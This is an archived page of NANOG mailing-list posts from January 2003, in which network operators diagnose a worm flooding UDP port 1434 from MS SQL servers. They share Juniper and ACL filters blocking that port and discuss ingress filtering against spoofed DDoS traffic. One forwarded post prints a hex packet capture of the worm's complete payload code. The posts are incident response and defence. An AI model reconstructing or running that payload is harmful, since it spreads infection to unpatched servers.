- Test - lists.nanog.org

11-25-03 DDoS Juniper Filter
by Phil Rosenthal 25 Jan '03

25 Jan '03

We have installed the following on all network ingress/egress points, and have found it to filter the packets in question very effectively: > show configuration firewall filter filter-012503 term deny-dos { from { packet-length 404; protocol udp; destination-port 1434; } then { count codered-4; discard; } } term allow-rest { then accept; } --Phil ISPrime

1 0

RE: Level3 routing issues?
by Kevin Welch 25 Jan '03

25 Jan '03

Same results here, shut down SQL problem went away... started it back up.. problem started again, so I shut them all down. One side note all the egress traffic headed out UU.NET, not our CW or Sprint DS3's... since we have full routes from all carriers this may be an indicator of the destination. Too bad I have a 700MB netflow file I cannot load or parse or I might be able to provide more detailed information as to a destination. ------------------------------------------------- Kevin Welch kevinw(a)iserv.net Network Engineer The Iserv Company Desk Ph: 616.493.0577 Cell Ph: 616.437.3861 -----Original Message----- From: Blaine Kahle [mailto:goatee@binary.net] Sent: Saturday, January 25, 2003 2:54 AM To: Kevin Welch Cc: 'Alex Rubenstein'; 'hc'; nanog(a)merit.edu Subject: Re: Level3 routing issues? On Sat, Jan 25, 2003 at 02:05:42AM -0500, Kevin Welch wrote: > I am seeing similar traffic loads on my network at this hour, one of our > MS SQL servers seemed to be sending a large amount of traffic out to the > Internet. Still looking into it but too similar for me to avoid sending > an e-mail. Same symptoms here. After disabling MS SQL, which required a reboot as the process didn't want to shut down normally, the traffic stopped. I found 3 boxes on our network that were generating massive amounts of traffic, all of which run MS SQL. -- Blaine Kahle blaine(a)binary.net 0x178AA0E0

1 0

sql server exploit
by matthew zeier 25 Jan '03

25 Jan '03

I found this article that sounds like what I'm seeing tonight. http://www.intelenet.net/news/mssql-udp.txt At the bottom is a link to the MSFT patch. -- matthew zeier - "Nothing in life is to be feared. It is only to be understood." - Marie Curie

1 0

Re: Level3 routing issues?
by Scott Granados 25 Jan '03

25 Jan '03

also seeing some udp 6667 irc is usually tcp 6667 so this looks odd. ----- Original Message ----- From: "Todd A. Blank" <todd.blank(a)ipoutlet.com> To: <scott(a)wworks.net> Cc: <nanog(a)merit.edu> Sent: Friday, January 24, 2003 11:10 PM Subject: RE: Level3 routing issues? > It's 1434 and I also see 137 138 551. Big DDOS. It's hitting > everything on our network coming from lots of different places... > > -----Original Message----- > From: Scott Granados [mailto:scott@wworks.net] > Sent: Saturday, January 25, 2003 1:41 AM > To: Alex Rubenstein > Cc: hc; nanog(a)merit.edu > Subject: Re: Level3 routing issues? > > > We just had a box inside one of my customers networks start sending tons > of small packets not sure what kind yet. > > > On Sat, 25 Jan 2003, Alex Rubenstein wrote: > > > > > > > I dunno about that. But, I am seeing, in the last couple hours, all > kinds > > of new traffic. > > > > like, customers who never get attacked or anything, all of a sudden: > > > > > http://mrtg.nac.net/switch9.oct.nac.net/3865/switch9.oct.nac.net-3865.ht > ml > > > > > > We are seeing this on ports all across out network -- nearly 1/2 our > ports > > are in delta alarm right now. > > > > Anyone else? > > > > I will dig more to look at the traffic. > > > > > > > > > > On Sat, 25 Jan 2003, hc wrote: > > > > > > > > Anyone seeing routing problems with Level3 at this hour? I just > > > witnessed tons of prefixes behind level3's network withdraw. Any > > > information on what is happening (if you know) would be great. > Thanks! > > > > > > -hc > > > > > > > > > > > > > -- Alex Rubenstein, AR97, K2AHR, alex(a)nac.net, latency, Al Reuben -- > > -- Net Access Corporation, 800-NET-ME-36, http://www.nac.net -- > > > > > > > > >

1 0

SQL Server Worm?
by Dave Stewart 25 Jan '03

25 Jan '03

I can't say for certain, not having taken an exhaustive look (it is, after all, almost 3 in the morning out here on the right coast), but on the one MS SQL server here, there do not appear to be new files installed, and after rebooting, the server is *not* spewing forth traffic as it was earlier. I don't see any new stored procedures at a glance, so perhaps rebooting resolves the issue. Of course: access-list xxx deny udp any any eq 1434 helps, as well, in my case... lotta incoming hits to 1434... but none outbound in the past 20 minutes

1 0

Re: Level3 routing issues?
by Alex Rubenstein 25 Jan '03

25 Jan '03

quick snippit from an irc conversation (i did not authenticate that this is true) <nein> latency: if you read that, you'll notice 0x08 followed by a long padding and a colon doesn't exist in the payload we're all seeing. #nanog on efnet at the moment.. On Sat, 25 Jan 2003, Andy Furnell wrote: > On Sat, Jan 25, 2003 at 02:05:42AM -0500, Kevin Welch wrote: > > > > > > I am seeing similar traffic loads on my network at this hour, one of our > > MS SQL servers seemed to be sending a large amount of traffic out to the > > Internet. Still looking into it but too similar for me to avoid sending > > an e-mail. > > > > Seeing it all over the place here, too. Looks very much like > http://www.nextgenss.com/advisories/mssql-udp.txt (UDP 1434 flying about > all over the place) > > A > > -- > Andy Furnell Claranet UK Ltd. andy.furnell(a)uk.clara.net > Systems Administrator 020 7903 3246 http://www.clara.net > -- Alex Rubenstein, AR97, K2AHR, alex(a)nac.net, latency, Al Reuben -- -- Net Access Corporation, 800-NET-ME-36, http://www.nac.net --

1 0

fyi (fwd)
by Alex Rubenstein 25 Jan '03

25 Jan '03

-- Alex Rubenstein, AR97, K2AHR, alex(a)nac.net, latency, Al Reuben -- -- Net Access Corporation, 800-NET-ME-36, http://www.nac.net -- ---------- Forwarded message ---------- Date: Sat, 25 Jan 2003 01:50:34 -0500 From: Tim Yocum <tim(a)yocum.org> To: "alex(a)nac.net" <alex(a)nac.net> Subject: fyi Might pass this along to nanog@ or anyone who cares to dig a bit deeper. I'm not subscribed to the list. Same packet structure, same length, different source port, always udp/1434. 0:48:25.375117 62.216.151.17.4322 > unknown.Level3.net.ms-sql-m: [udp sum ok] udp 376 (ttl 117, id 52118, len 404) 0x0000 4500 0194 cb96 0000 7511 ebef 3ed8 9711 E.......u...>... 0x0010 d1f7 e4f1 10e2 059a 0180 9796 0401 0101 ................ 0x0020 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0030 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0040 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0050 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0060 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0x0070 0101 0101 0101 0101 0101 0101 01dc c9b0 ................ 0x0080 42eb 0e01 0101 0101 0101 70ae 4201 70ae B.........p.B.p. 0x0090 4290 9090 9090 9090 9068 dcc9 b042 b801 B........h...B.. 0x00a0 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1...P..5....P 0x00b0 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 ..Qh.dllhel32hke 0x00c0 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe 0x00d0 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf.llQh32.dhws2 0x00e0 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f.etQhsockf.toQ 0x00f0 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend....B.E.P.. 0x0100 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E.P.E.P..P.... 0x0110 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U..Qt..... 0x0120 42ff 16ff d031 c951 5150 81f1 0301 049b B....1.QQP...... 0x0130 81f1 0101 0101 518d 45cc 508b 45c0 50ff ......Q.E.P.E.P. 0x0140 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j...P.E.P.E 0x0150 c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 .P........<a...E 0x0160 b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 ...@...........) 0x0170 c28d 0490 01d8 8945 b46a 108d 45b0 5031 .......E.j..E.P1 0x0180 c951 6681 f178 0151 8d45 0350 8b45 ac50 .Qf..x.Q.E.P.E.P 0x0190 ffd6 ebca ....

1 0

Worm on 1434 (was Re: Level3 routing issues?)
by Mike Tancsa 25 Jan '03

25 Jan '03

Same here, I thought at first it was some really strange effect of my ATM switch upgrade as the traffic started almost at the exact same time. I am seeing a 100% increase in traffic right now and a chunk of my colo customer's machines are infected. ---Mike At 01:19 AM 1/25/2003 -0500, Aaron Burnett wrote: >On Sat, 25 Jan 2003, Alex Rubenstein wrote: > > > > > > > I dunno about that. But, I am seeing, in the last couple hours, all kinds > > of new traffic. > > > > like, customers who never get attacked or anything, all of a sudden: > > > > > http://mrtg.nac.net/switch9.oct.nac.net/3865/switch9.oct.nac.net-3865.html > > > > > > We are seeing this on ports all across out network -- nearly 1/2 our ports > > are in delta alarm right now. > > > > Anyone else? > > > >Yep. Since about 12:30 am. Getting pounded on UDP port 1434 from all over >the world to any address on my network. -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike(a)sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike

1 0

Re: FW: Re: Is there a line of defense against Distributed Reflective attacks?
by Daniel Senie 25 Jan '03

25 Jan '03

At 09:29 PM 1/17/2003, Christopher L. Morrow wrote: >On Fri, 17 Jan 2003, Stewart, William C (Bill), RTLSL wrote: > > > > > > > > > -----Original Message----- > > From: Stewart, William C (Bill), RTLSL > > Sent: Friday, January 17, 2003 5:35 PM > > To: 'nanog-post(a)trapdoor.merit.edu' > > Subject: Re: Is there a line of defense against Distributed Reflective > > attacks? > > > > > > Many of these attacks can be mitigated by ISPs that do > > anti-spoofing filtering on input - only accepting packets from user ports > >Sure, but this is a proven non-scalable solution. HOWEVER, filtering as >close to the end host is scalable and feasible... do it there, it makes >MUCH more sense to do it there. Well, let's see... on dialup circuits it should be done and should be a no-brainer. After all, ISPs are required (by UUNet at least) to push in filters to ensure dialup users can only reach port 25 of that ISPs mail servers and be blocked from all other spots. How hard is it to push in one more filter that checks the source IP address of the dialup user to ensure the address coming from the user is the one assigned? Sure, dialups are not the only problem, but it's an example of blocking close (very close) to the edge. Each time an ISP sells a T1 with a router and assigns a block of addresses, there's an opportunity to configure that router with filters (ingress/egress depending on which side you look at it from) and at least simple firewalling rules. Is this an expense to the installing ISP, or a cost savings in not having to deal with attacks that came from that network later? Even when a customer provides the CPE, providing sample configurations really costs little and would help. In many cases, the vendor supplying that T1 is one of the same companies which also handles the "core" so it's REALLY in their best interest to take little steps to protect their edges (hard to point fingers from the core and say "it's the edge vendor's problem" when you're also the edge vendor in some cases). While it's nice that router vendors implemented unicast RPF to make configuration in some cases easier, using simple ACLs isn't necessarily hard at the edges either. The stumbling block for ingress filtering has always been pretty simple: By implementing ingress, the network you save will be someone else's. You have to trust that other network operators will implement ingress filtering and in so doing save your network. Sadly, folks tend to avoid doing things that might help others, and so I continue to wait for a negligence lawsuit to wake folks up on this issue. Eliminating spoofed addresses from the backbone, even if it were possible to do 100%, would not eliminate denial of service attacks. The DDoS attacks using coordinated "owned" machines demonstrates this. As spoofing becomes more difficult, tracing back the source of attacks becomes easier. Network operators will still find machines on their networks performing attacks, but when that phone call comes from another network with attack details, the chances of finding the offending host are much greater.

24 40

NOC contact for AS3908 (SuperNet Inc.)?
by Lars Erik Gullerud 24 Jan '03

24 Jan '03

Does anyone have a working NOC contact for SuperNet Inc., AS3908? Or if they are now perhaps owned by some other entity (All traces seems to end up in Qwest.net) who might that be, and how can we get in touch with them? The issue is that 3908 is incorrectly announcing five /24's and a /22 with origin-AS 3908, out of a legacy class B belonging to one of our downstream customers in Norway (who use and announce the entire /16 only), these incorrect more-specifics are obviously causing some connectivity issues for our downstream, but we have been unable to find a working NOC email or phone number for SuperNet. /leg

2 2